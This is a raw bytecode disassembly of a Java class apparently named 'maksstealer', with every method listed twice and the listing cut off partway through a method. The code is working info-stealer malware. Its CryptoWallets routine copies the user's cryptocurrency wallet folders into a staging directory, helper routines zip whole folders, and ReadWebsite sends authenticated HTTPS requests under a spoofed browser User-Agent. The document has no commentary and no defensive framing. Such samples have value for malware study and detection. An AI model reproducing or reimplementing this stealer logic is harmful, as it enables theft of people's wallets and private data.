File maksstealer_8b526df25b73573dde9bb448078fec0b9161696cb8dec709a3d83e00b8006773.class
Function:
Loading..
00008728
00008728makslibraries.MaksLibraries::zipFolder(java.lang.String, java.lang.String):
00008728new #824 // class java/io/FileOutputStream
0000872bdup
0000872caload_1
0000872dinvokespecial #825 // Method java/io/FileOutputStream.<init>:(Ljava/lang/String;)V
00008730astore_2
00008731aconst_null
00008732astore_3
00008733new #827 // class java/util/zip/ZipOutputStream
00008736dup
00008737aload_2
00008738invokespecial #830 // Method java/util/zip/ZipOutputStream.<init>:(Ljava/io/OutputStream;)V
0000873bastore 4
0000873daconst_null
0000873eastore 5
00008740ldc #108 // String ""
00008742new #332 // class java/io/File
00008745dup
00008746aload_0
00008747invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000874aaload 4
0000874cinvokestatic #834 // Method makslibraries/MaksLibraries.addToZip:(Ljava/lang/String;Ljava/io/File;Ljava/util/zip/ZipOutputStream;)V
0000874faload 4
00008751ifnull 126
00008754aload 5
00008756ifnull 69
00008759aload 4
0000875binvokevirtual #835 // Method java/util/zip/ZipOutputStream.close:()V
0000875egoto 126
00008761astore 6
00008763aload 5
00008765aload 6
00008767invokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
0000876agoto 126
0000876daload 4
0000876finvokevirtual #835 // Method java/util/zip/ZipOutputStream.close:()V
00008772goto 126
00008775astore 6
00008777aload 6
00008779astore 5
0000877baload 6
0000877dathrow
0000877eastore 7
00008780aload 4
00008782ifnull 123
00008785aload 5
00008787ifnull 118
0000878aaload 4
0000878cinvokevirtual #835 // Method java/util/zip/ZipOutputStream.close:()V
0000878fgoto 123
00008792astore 8
00008794aload 5
00008796aload 8
00008798invokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
0000879bgoto 123
0000879eaload 4
000087a0invokevirtual #835 // Method java/util/zip/ZipOutputStream.close:()V
000087a3aload 7
000087a5athrow
000087a6aload_2
000087a7ifnull 202
000087aaaload_3
000087abifnull 152
000087aeaload_2
000087afinvokevirtual #836 // Method java/io/FileOutputStream.close:()V
000087b2goto 202
000087b5astore 4
000087b7aload_3
000087b8aload 4
000087bainvokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
000087bdgoto 202
000087c0aload_2
000087c1invokevirtual #836 // Method java/io/FileOutputStream.close:()V
000087c4goto 202
000087c7astore 4
000087c9aload 4
000087cbastore_3
000087ccaload 4
000087ceathrow
000087cfastore 9
000087d1aload_2
000087d2ifnull 199
000087d5aload_3
000087d6ifnull 195
000087d9aload_2
000087dainvokevirtual #836 // Method java/io/FileOutputStream.close:()V
000087ddgoto 199
000087e0astore 10
000087e2aload_3
000087e3aload 10
000087e5invokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
000087e8goto 199
000087ebaload_2
000087ecinvokevirtual #836 // Method java/io/FileOutputStream.close:()V
000087efaload 9
000087f1athrow
000087f2return
00008728
00008728makslibraries.MaksLibraries::zipFolder(java.lang.String, java.lang.String):
00008728new #824 // class java/io/FileOutputStream
0000872bdup
0000872caload_1
0000872dinvokespecial #825 // Method java/io/FileOutputStream.<init>:(Ljava/lang/String;)V
00008730astore_2
00008731aconst_null
00008732astore_3
00008733new #827 // class java/util/zip/ZipOutputStream
00008736dup
00008737aload_2
00008738invokespecial #830 // Method java/util/zip/ZipOutputStream.<init>:(Ljava/io/OutputStream;)V
0000873bastore 4
0000873daconst_null
0000873eastore 5
00008740ldc #108 // String ""
00008742new #332 // class java/io/File
00008745dup
00008746aload_0
00008747invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000874aaload 4
0000874cinvokestatic #834 // Method makslibraries/MaksLibraries.addToZip:(Ljava/lang/String;Ljava/io/File;Ljava/util/zip/ZipOutputStream;)V
0000874faload 4
00008751ifnull 126
00008754aload 5
00008756ifnull 69
00008759aload 4
0000875binvokevirtual #835 // Method java/util/zip/ZipOutputStream.close:()V
0000875egoto 126
00008761astore 6
00008763aload 5
00008765aload 6
00008767invokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
0000876agoto 126
0000876daload 4
0000876finvokevirtual #835 // Method java/util/zip/ZipOutputStream.close:()V
00008772goto 126
00008775astore 6
00008777aload 6
00008779astore 5
0000877baload 6
0000877dathrow
0000877eastore 7
00008780aload 4
00008782ifnull 123
00008785aload 5
00008787ifnull 118
0000878aaload 4
0000878cinvokevirtual #835 // Method java/util/zip/ZipOutputStream.close:()V
0000878fgoto 123
00008792astore 8
00008794aload 5
00008796aload 8
00008798invokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
0000879bgoto 123
0000879eaload 4
000087a0invokevirtual #835 // Method java/util/zip/ZipOutputStream.close:()V
000087a3aload 7
000087a5athrow
000087a6aload_2
000087a7ifnull 202
000087aaaload_3
000087abifnull 152
000087aeaload_2
000087afinvokevirtual #836 // Method java/io/FileOutputStream.close:()V
000087b2goto 202
000087b5astore 4
000087b7aload_3
000087b8aload 4
000087bainvokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
000087bdgoto 202
000087c0aload_2
000087c1invokevirtual #836 // Method java/io/FileOutputStream.close:()V
000087c4goto 202
000087c7astore 4
000087c9aload 4
000087cbastore_3
000087ccaload 4
000087ceathrow
000087cfastore 9
000087d1aload_2
000087d2ifnull 199
000087d5aload_3
000087d6ifnull 195
000087d9aload_2
000087dainvokevirtual #836 // Method java/io/FileOutputStream.close:()V
000087ddgoto 199
000087e0astore 10
000087e2aload_3
000087e3aload 10
000087e5invokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
000087e8goto 199
000087ebaload_2
000087ecinvokevirtual #836 // Method java/io/FileOutputStream.close:()V
000087efaload 9
000087f1athrow
000087f2return
00008728
00008963
00008963makslibraries.MaksLibraries::addToZip(java.lang.String, java.io.File, java.util.zip.ZipOutputStream):
00008963new #110 // class java/lang/StringBuilder
00008966dup
00008967invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000896aaload_0
0000896binvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000896eaload_1
0000896finvokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
00008972invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00008975invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
00008978astore_3
00008979aload_1
0000897ainvokevirtual #844 // Method java/io/File.isDirectory:()Z
0000897difeq 127
00008980aload_3
00008981invokevirtual #763 // Method java/lang/String.isEmpty:()Z
00008984ifne 83
00008987aload_3
00008988ldc_w #846 // String "/"
0000898binvokevirtual #535 // Method java/lang/String.endsWith:(Ljava/lang/String;)Z
0000898eifne 67
00008991new #110 // class java/lang/StringBuilder
00008994dup
00008995invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00008998aload_3
00008999invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000899cldc_w #846 // String "/"
0000899finvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000089a2invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
000089a5astore_3
000089a6new #848 // class java/util/zip/ZipEntry
000089a9dup
000089aaaload_3
000089abinvokespecial #849 // Method java/util/zip/ZipEntry.<init>:(Ljava/lang/String;)V
000089aeastore 4
000089b0aload_2
000089b1aload 4
000089b3invokevirtual #853 // Method java/util/zip/ZipOutputStream.putNextEntry:(Ljava/util/zip/ZipEntry;)V
000089b6aload_1
000089b7invokevirtual #517 // Method java/io/File.listFiles:()[Ljava/io/File;
000089baastore 4
000089bcaload 4
000089bearraylength
000089bfistore 5
000089c1iconst_0
000089c2istore 6
000089c4iload 6
000089c6iload 5
000089c8if_icmpge 124
000089cbaload 4
000089cdiload 6
000089cfaaload
000089d0astore 7
000089d2aload_3
000089d3aload 7
000089d5aload_2
000089d6invokestatic #834 // Method makslibraries/MaksLibraries.addToZip:(Ljava/lang/String;Ljava/io/File;Ljava/util/zip/ZipOutputStream;)V
000089d9iinc 6, 1
000089dcgoto 97
000089dfgoto 275
000089e2new #855 // class java/io/FileInputStream
000089e5dup
000089e6aload_1
000089e7invokespecial #858 // Method java/io/FileInputStream.<init>:(Ljava/io/File;)V
000089eaastore 4
000089ecaconst_null
000089edastore 5
000089efnew #848 // class java/util/zip/ZipEntry
000089f2dup
000089f3aload_3
000089f4invokespecial #849 // Method java/util/zip/ZipEntry.<init>:(Ljava/lang/String;)V
000089f7astore 6
000089f9aload_2
000089faaload 6
000089fcinvokevirtual #853 // Method java/util/zip/ZipOutputStream.putNextEntry:(Ljava/util/zip/ZipEntry;)V
000089ffsipush 1024
00008a02newarray 8 // byte
00008a04astore 7
00008a06aload 4
00008a08aload 7
00008a0ainvokevirtual #862 // Method java/io/FileInputStream.read:([B)I
00008a0ddup
00008a0eistore 8
00008a10iflt 188
00008a13aload_2
00008a14aload 7
00008a16iconst_0
00008a17iload 8
00008a19invokevirtual #865 // Method java/util/zip/ZipOutputStream.write:([BII)V
00008a1cgoto 163
00008a1faload 4
00008a21ifnull 275
00008a24aload 5
00008a26ifnull 218
00008a29aload 4
00008a2binvokevirtual #866 // Method java/io/FileInputStream.close:()V
00008a2egoto 275
00008a31astore 6
00008a33aload 5
00008a35aload 6
00008a37invokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
00008a3agoto 275
00008a3daload 4
00008a3finvokevirtual #866 // Method java/io/FileInputStream.close:()V
00008a42goto 275
00008a45astore 6
00008a47aload 6
00008a49astore 5
00008a4baload 6
00008a4dathrow
00008a4eastore 9
00008a50aload 4
00008a52ifnull 272
00008a55aload 5
00008a57ifnull 267
00008a5aaload 4
00008a5cinvokevirtual #866 // Method java/io/FileInputStream.close:()V
00008a5fgoto 272
00008a62astore 10
00008a64aload 5
00008a66aload 10
00008a68invokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
00008a6bgoto 272
00008a6eaload 4
00008a70invokevirtual #866 // Method java/io/FileInputStream.close:()V
00008a73aload 9
00008a75athrow
00008a76return
00008963
00008963makslibraries.MaksLibraries::addToZip(java.lang.String, java.io.File, java.util.zip.ZipOutputStream):
00008963new #110 // class java/lang/StringBuilder
00008966dup
00008967invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000896aaload_0
0000896binvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000896eaload_1
0000896finvokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
00008972invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00008975invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
00008978astore_3
00008979aload_1
0000897ainvokevirtual #844 // Method java/io/File.isDirectory:()Z
0000897difeq 127
00008980aload_3
00008981invokevirtual #763 // Method java/lang/String.isEmpty:()Z
00008984ifne 83
00008987aload_3
00008988ldc_w #846 // String "/"
0000898binvokevirtual #535 // Method java/lang/String.endsWith:(Ljava/lang/String;)Z
0000898eifne 67
00008991new #110 // class java/lang/StringBuilder
00008994dup
00008995invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00008998aload_3
00008999invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000899cldc_w #846 // String "/"
0000899finvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
000089a2invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
000089a5astore_3
000089a6new #848 // class java/util/zip/ZipEntry
000089a9dup
000089aaaload_3
000089abinvokespecial #849 // Method java/util/zip/ZipEntry.<init>:(Ljava/lang/String;)V
000089aeastore 4
000089b0aload_2
000089b1aload 4
000089b3invokevirtual #853 // Method java/util/zip/ZipOutputStream.putNextEntry:(Ljava/util/zip/ZipEntry;)V
000089b6aload_1
000089b7invokevirtual #517 // Method java/io/File.listFiles:()[Ljava/io/File;
000089baastore 4
000089bcaload 4
000089bearraylength
000089bfistore 5
000089c1iconst_0
000089c2istore 6
000089c4iload 6
000089c6iload 5
000089c8if_icmpge 124
000089cbaload 4
000089cdiload 6
000089cfaaload
000089d0astore 7
000089d2aload_3
000089d3aload 7
000089d5aload_2
000089d6invokestatic #834 // Method makslibraries/MaksLibraries.addToZip:(Ljava/lang/String;Ljava/io/File;Ljava/util/zip/ZipOutputStream;)V
000089d9iinc 6, 1
000089dcgoto 97
000089dfgoto 275
000089e2new #855 // class java/io/FileInputStream
000089e5dup
000089e6aload_1
000089e7invokespecial #858 // Method java/io/FileInputStream.<init>:(Ljava/io/File;)V
000089eaastore 4
000089ecaconst_null
000089edastore 5
000089efnew #848 // class java/util/zip/ZipEntry
000089f2dup
000089f3aload_3
000089f4invokespecial #849 // Method java/util/zip/ZipEntry.<init>:(Ljava/lang/String;)V
000089f7astore 6
000089f9aload_2
000089faaload 6
000089fcinvokevirtual #853 // Method java/util/zip/ZipOutputStream.putNextEntry:(Ljava/util/zip/ZipEntry;)V
000089ffsipush 1024
00008a02newarray 8 // byte
00008a04astore 7
00008a06aload 4
00008a08aload 7
00008a0ainvokevirtual #862 // Method java/io/FileInputStream.read:([B)I
00008a0ddup
00008a0eistore 8
00008a10iflt 188
00008a13aload_2
00008a14aload 7
00008a16iconst_0
00008a17iload 8
00008a19invokevirtual #865 // Method java/util/zip/ZipOutputStream.write:([BII)V
00008a1cgoto 163
00008a1faload 4
00008a21ifnull 275
00008a24aload 5
00008a26ifnull 218
00008a29aload 4
00008a2binvokevirtual #866 // Method java/io/FileInputStream.close:()V
00008a2egoto 275
00008a31astore 6
00008a33aload 5
00008a35aload 6
00008a37invokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
00008a3agoto 275
00008a3daload 4
00008a3finvokevirtual #866 // Method java/io/FileInputStream.close:()V
00008a42goto 275
00008a45astore 6
00008a47aload 6
00008a49astore 5
00008a4baload 6
00008a4dathrow
00008a4eastore 9
00008a50aload 4
00008a52ifnull 272
00008a55aload 5
00008a57ifnull 267
00008a5aaload 4
00008a5cinvokevirtual #866 // Method java/io/FileInputStream.close:()V
00008a5fgoto 272
00008a62astore 10
00008a64aload 5
00008a66aload 10
00008a68invokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
00008a6bgoto 272
00008a6eaload 4
00008a70invokevirtual #866 // Method java/io/FileInputStream.close:()V
00008a73aload 9
00008a75athrow
00008a76return
00008963
00008c08
00008c08makslibraries.MaksLibraries::FindPattern(java.util.regex.Pattern, java.lang.String):
00008c08new #573 // class java/util/Vector
00008c0bdup
00008c0cinvokespecial #874 // Method java/util/Vector.<init>:()V
00008c0fastore_2
00008c10aload_0
00008c11aload_1
00008c12invokevirtual #878 // Method java/util/regex/Pattern.matcher:(Ljava/lang/CharSequence;)Ljava/util/regex/Matcher;
00008c15astore_3
00008c16aload_3
00008c17invokevirtual #883 // Method java/util/regex/Matcher.find:()Z
00008c1aifeq 44
00008c1daload_2
00008c1eaload_3
00008c1finvokevirtual #886 // Method java/util/regex/Matcher.group:()Ljava/lang/String;
00008c22invokevirtual #888 // Method java/util/Vector.contains:(Ljava/lang/Object;)Z
00008c25ifne 44
00008c28aload_2
00008c29aload_3
00008c2ainvokevirtual #886 // Method java/util/regex/Matcher.group:()Ljava/lang/String;
00008c2dinvokevirtual #891 // Method java/util/Vector.add:(Ljava/lang/Object;)Z
00008c30pop
00008c31goto 14
00008c34goto 48
00008c37astore_3
00008c38aload_2
00008c39areturn
00008c08
00008c08makslibraries.MaksLibraries::FindPattern(java.util.regex.Pattern, java.lang.String):
00008c08new #573 // class java/util/Vector
00008c0bdup
00008c0cinvokespecial #874 // Method java/util/Vector.<init>:()V
00008c0fastore_2
00008c10aload_0
00008c11aload_1
00008c12invokevirtual #878 // Method java/util/regex/Pattern.matcher:(Ljava/lang/CharSequence;)Ljava/util/regex/Matcher;
00008c15astore_3
00008c16aload_3
00008c17invokevirtual #883 // Method java/util/regex/Matcher.find:()Z
00008c1aifeq 44
00008c1daload_2
00008c1eaload_3
00008c1finvokevirtual #886 // Method java/util/regex/Matcher.group:()Ljava/lang/String;
00008c22invokevirtual #888 // Method java/util/Vector.contains:(Ljava/lang/Object;)Z
00008c25ifne 44
00008c28aload_2
00008c29aload_3
00008c2ainvokevirtual #886 // Method java/util/regex/Matcher.group:()Ljava/lang/String;
00008c2dinvokevirtual #891 // Method java/util/Vector.add:(Ljava/lang/Object;)Z
00008c30pop
00008c31goto 14
00008c34goto 48
00008c37astore_3
00008c38aload_2
00008c39areturn
00008c08
00008ce3
00008ce3makslibraries.MaksLibraries::ErrorMessage(java.lang.Exception, java.lang.String):
00008ce3return
00008ce3
00008ce3makslibraries.MaksLibraries::ErrorMessage(java.lang.Exception, java.lang.String):
00008ce3return
00008ce3
00008d26
00008d26makslibraries.MaksLibraries::ReadWebsite(java.lang.String):
00008d26aload_0
00008d27ldc_w #423 // String "h"
00008d2ainvokestatic #421 // Method makslibraries/MaksLibraries.ReadWebsite:(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
00008d2dareturn
00008d26
00008d26makslibraries.MaksLibraries::ReadWebsite(java.lang.String):
00008d26aload_0
00008d27ldc_w #423 // String "h"
00008d2ainvokestatic #421 // Method makslibraries/MaksLibraries.ReadWebsite:(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
00008d2dareturn
00008d26
00008d66
00008d66makslibraries.MaksLibraries::ReadWebsite(java.lang.String, java.lang.String):
00008d66new #665 // class java/net/URL
00008d69dup
00008d6aaload_0
00008d6binvokespecial #691 // Method java/net/URL.<init>:(Ljava/lang/String;)V
00008d6einvokevirtual #669 // Method java/net/URL.openConnection:()Ljava/net/URLConnection;
00008d71checkcast #904 // class javax/net/ssl/HttpsURLConnection
00008d74astore_2
00008d75aload_1
00008d76ldc_w #423 // String "h"
00008d79invokestatic #907 // Method java/util/Objects.equals:(Ljava/lang/Object;Ljava/lang/Object;)Z
00008d7cifne 33
00008d7faload_2
00008d80ldc_w #673 // String "Authorization"
00008d83aload_1
00008d84invokevirtual #908 // Method javax/net/ssl/HttpsURLConnection.setRequestProperty:(Ljava/lang/String;Ljava/lang/String;)V
00008d87aload_2
00008d88ldc_w #678 // String "Content-Type"
00008d8bldc_w #680 // String "application/json"
00008d8einvokevirtual #908 // Method javax/net/ssl/HttpsURLConnection.setRequestProperty:(Ljava/lang/String;Ljava/lang/String;)V
00008d91aload_2
00008d92ldc_w #682 // String "User-Agent"
00008d95ldc_w #684 // String "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
00008d98invokevirtual #908 // Method javax/net/ssl/HttpsURLConnection.setRequestProperty:(Ljava/lang/String;Ljava/lang/String;)V
00008d9baload_2
00008d9cinvokevirtual #909 // Method javax/net/ssl/HttpsURLConnection.getResponseCode:()I
00008d9fsipush 200
00008da2if_icmpeq 67
00008da5ldc_w #423 // String "h"
00008da8areturn
00008da9new #698 // class java/io/BufferedReader
00008dacdup
00008dadnew #700 // class java/io/InputStreamReader
00008db0dup
00008db1aload_2
00008db2invokevirtual #910 // Method javax/net/ssl/HttpsURLConnection.getInputStream:()Ljava/io/InputStream;
00008db5invokespecial #707 // Method java/io/InputStreamReader.<init>:(Ljava/io/InputStream;)V
00008db8invokespecial #710 // Method java/io/BufferedReader.<init>:(Ljava/io/Reader;)V
00008dbbastore_3
00008dbcnew #110 // class java/lang/StringBuilder
00008dbfdup
00008dc0invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00008dc3astore 4
00008dc5aload_3
00008dc6invokevirtual #713 // Method java/io/BufferedReader.readLine:()Ljava/lang/String;
00008dc9astore 5
00008dcbaload 5
00008dcdifnull 126
00008dd0aload 4
00008dd2aload 5
00008dd4invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00008dd7pop
00008dd8aload 4
00008ddainvokestatic #913 // Method java/lang/System.lineSeparator:()Ljava/lang/String;
00008dddinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00008de0pop
00008de1goto 136
00008de4aload_3
00008de5invokevirtual #714 // Method java/io/BufferedReader.close:()V
00008de8aload 4
00008deainvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
00008dedareturn
00008deegoto 95
00008df1astore_2
00008df2aload_2
00008df3ldc_w #915 // String "in reading the website"
00008df6invokestatic #629 // Method makslibraries/MaksLibraries.ErrorMessage:(Ljava/lang/Exception;Ljava/lang/String;)V
00008df9ldc_w #423 // String "h"
00008dfcareturn
00008d66
00008d66makslibraries.MaksLibraries::ReadWebsite(java.lang.String, java.lang.String):
00008d66new #665 // class java/net/URL
00008d69dup
00008d6aaload_0
00008d6binvokespecial #691 // Method java/net/URL.<init>:(Ljava/lang/String;)V
00008d6einvokevirtual #669 // Method java/net/URL.openConnection:()Ljava/net/URLConnection;
00008d71checkcast #904 // class javax/net/ssl/HttpsURLConnection
00008d74astore_2
00008d75aload_1
00008d76ldc_w #423 // String "h"
00008d79invokestatic #907 // Method java/util/Objects.equals:(Ljava/lang/Object;Ljava/lang/Object;)Z
00008d7cifne 33
00008d7faload_2
00008d80ldc_w #673 // String "Authorization"
00008d83aload_1
00008d84invokevirtual #908 // Method javax/net/ssl/HttpsURLConnection.setRequestProperty:(Ljava/lang/String;Ljava/lang/String;)V
00008d87aload_2
00008d88ldc_w #678 // String "Content-Type"
00008d8bldc_w #680 // String "application/json"
00008d8einvokevirtual #908 // Method javax/net/ssl/HttpsURLConnection.setRequestProperty:(Ljava/lang/String;Ljava/lang/String;)V
00008d91aload_2
00008d92ldc_w #682 // String "User-Agent"
00008d95ldc_w #684 // String "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
00008d98invokevirtual #908 // Method javax/net/ssl/HttpsURLConnection.setRequestProperty:(Ljava/lang/String;Ljava/lang/String;)V
00008d9baload_2
00008d9cinvokevirtual #909 // Method javax/net/ssl/HttpsURLConnection.getResponseCode:()I
00008d9fsipush 200
00008da2if_icmpeq 67
00008da5ldc_w #423 // String "h"
00008da8areturn
00008da9new #698 // class java/io/BufferedReader
00008dacdup
00008dadnew #700 // class java/io/InputStreamReader
00008db0dup
00008db1aload_2
00008db2invokevirtual #910 // Method javax/net/ssl/HttpsURLConnection.getInputStream:()Ljava/io/InputStream;
00008db5invokespecial #707 // Method java/io/InputStreamReader.<init>:(Ljava/io/InputStream;)V
00008db8invokespecial #710 // Method java/io/BufferedReader.<init>:(Ljava/io/Reader;)V
00008dbbastore_3
00008dbcnew #110 // class java/lang/StringBuilder
00008dbfdup
00008dc0invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00008dc3astore 4
00008dc5aload_3
00008dc6invokevirtual #713 // Method java/io/BufferedReader.readLine:()Ljava/lang/String;
00008dc9astore 5
00008dcbaload 5
00008dcdifnull 126
00008dd0aload 4
00008dd2aload 5
00008dd4invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00008dd7pop
00008dd8aload 4
00008ddainvokestatic #913 // Method java/lang/System.lineSeparator:()Ljava/lang/String;
00008dddinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00008de0pop
00008de1goto 136
00008de4aload_3
00008de5invokevirtual #714 // Method java/io/BufferedReader.close:()V
00008de8aload 4
00008deainvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
00008dedareturn
00008deegoto 95
00008df1astore_2
00008df2aload_2
00008df3ldc_w #915 // String "in reading the website"
00008df6invokestatic #629 // Method makslibraries/MaksLibraries.ErrorMessage:(Ljava/lang/Exception;Ljava/lang/String;)V
00008df9ldc_w #423 // String "h"
00008dfcareturn
00008d66
00008f02
00008f02makslibraries.MaksLibraries::ReadFile(java.lang.String):
00008f02new #332 // class java/io/File
00008f05dup
00008f06aload_0
00008f07invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
00008f0aastore_1
00008f0bnew #698 // class java/io/BufferedReader
00008f0edup
00008f0fnew #464 // class java/io/FileReader
00008f12dup
00008f13aload_1
00008f14invokespecial #920 // Method java/io/FileReader.<init>:(Ljava/io/File;)V
00008f17invokespecial #710 // Method java/io/BufferedReader.<init>:(Ljava/io/Reader;)V
00008f1aastore_2
00008f1bnew #110 // class java/lang/StringBuilder
00008f1edup
00008f1finvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00008f22astore_3
00008f23aload_2
00008f24invokevirtual #923 // Method java/io/BufferedReader.ready:()Z
00008f27ifeq 52
00008f2aaload_3
00008f2baload_2
00008f2cinvokevirtual #713 // Method java/io/BufferedReader.readLine:()Ljava/lang/String;
00008f2finvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00008f32pop
00008f33goto 33
00008f36aload_2
00008f37invokevirtual #714 // Method java/io/BufferedReader.close:()V
00008f3aaload_3
00008f3binvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
00008f3eareturn
00008f3fastore_1
00008f40ldc #108 // String ""
00008f42areturn
00008f02
00008f02makslibraries.MaksLibraries::ReadFile(java.lang.String):
00008f02new #332 // class java/io/File
00008f05dup
00008f06aload_0
00008f07invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
00008f0aastore_1
00008f0bnew #698 // class java/io/BufferedReader
00008f0edup
00008f0fnew #464 // class java/io/FileReader
00008f12dup
00008f13aload_1
00008f14invokespecial #920 // Method java/io/FileReader.<init>:(Ljava/io/File;)V
00008f17invokespecial #710 // Method java/io/BufferedReader.<init>:(Ljava/io/Reader;)V
00008f1aastore_2
00008f1bnew #110 // class java/lang/StringBuilder
00008f1edup
00008f1finvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00008f22astore_3
00008f23aload_2
00008f24invokevirtual #923 // Method java/io/BufferedReader.ready:()Z
00008f27ifeq 52
00008f2aaload_3
00008f2baload_2
00008f2cinvokevirtual #713 // Method java/io/BufferedReader.readLine:()Ljava/lang/String;
00008f2finvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00008f32pop
00008f33goto 33
00008f36aload_2
00008f37invokevirtual #714 // Method java/io/BufferedReader.close:()V
00008f3aaload_3
00008f3binvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
00008f3eareturn
00008f3fastore_1
00008f40ldc #108 // String ""
00008f42areturn
00008f02
00008fed
00008fedmakslibraries.MaksLibraries::CryptoWallets():
00008fednew #332 // class java/io/File
00008ff0dup
00008ff1new #110 // class java/lang/StringBuilder
00008ff4dup
00008ff5invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00008ff8getstatic #311 // Field makslibraries/MaksLibraries.ilrFolderPath:Ljava/lang/String;
00008ffbinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00008ffeldc_w #927 // String "\\wallets"
00009001invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009004invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
00009007invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000900ainvokevirtual #930 // Method java/io/File.mkdirs:()Z
0000900dpop
0000900egetstatic #932 // Field makslibraries/MaksLibraries.Wallets:[Ljava/lang/String;
00009011astore_1
00009012aload_1
00009013arraylength
00009014istore_2
00009015iconst_0
00009016istore_3
00009017iload_3
00009018iload_2
00009019if_icmpge 131
0000901caload_1
0000901diload_3
0000901eaaload
0000901fastore 4
00009021aload 4
00009023iconst_0
00009024anewarray #91 // class java/lang/String
00009027invokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
0000902aiconst_0
0000902banewarray #455 // class java/nio/file/LinkOption
0000902einvokestatic #459 // Method java/nio/file/Files.isDirectory:(Ljava/nio/file/Path;[Ljava/nio/file/LinkOption;)Z
00009031ifeq 125
00009034new #332 // class java/io/File
00009037dup
00009038aload 4
0000903ainvokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000903dnew #332 // class java/io/File
00009040dup
00009041new #110 // class java/lang/StringBuilder
00009044dup
00009045invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
00009048getstatic #311 // Field makslibraries/MaksLibraries.ilrFolderPath:Ljava/lang/String;
0000904binvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000904eldc_w #934 // String "\\wallets\\"
00009051invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
00009054aload 4
00009056ldc_w #936 // String "\\\\"
00009059invokevirtual #433 // Method java/lang/String.split:(Ljava/lang/String;)[Ljava/lang/String;
0000905ciconst_5
0000905daaload
0000905einvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
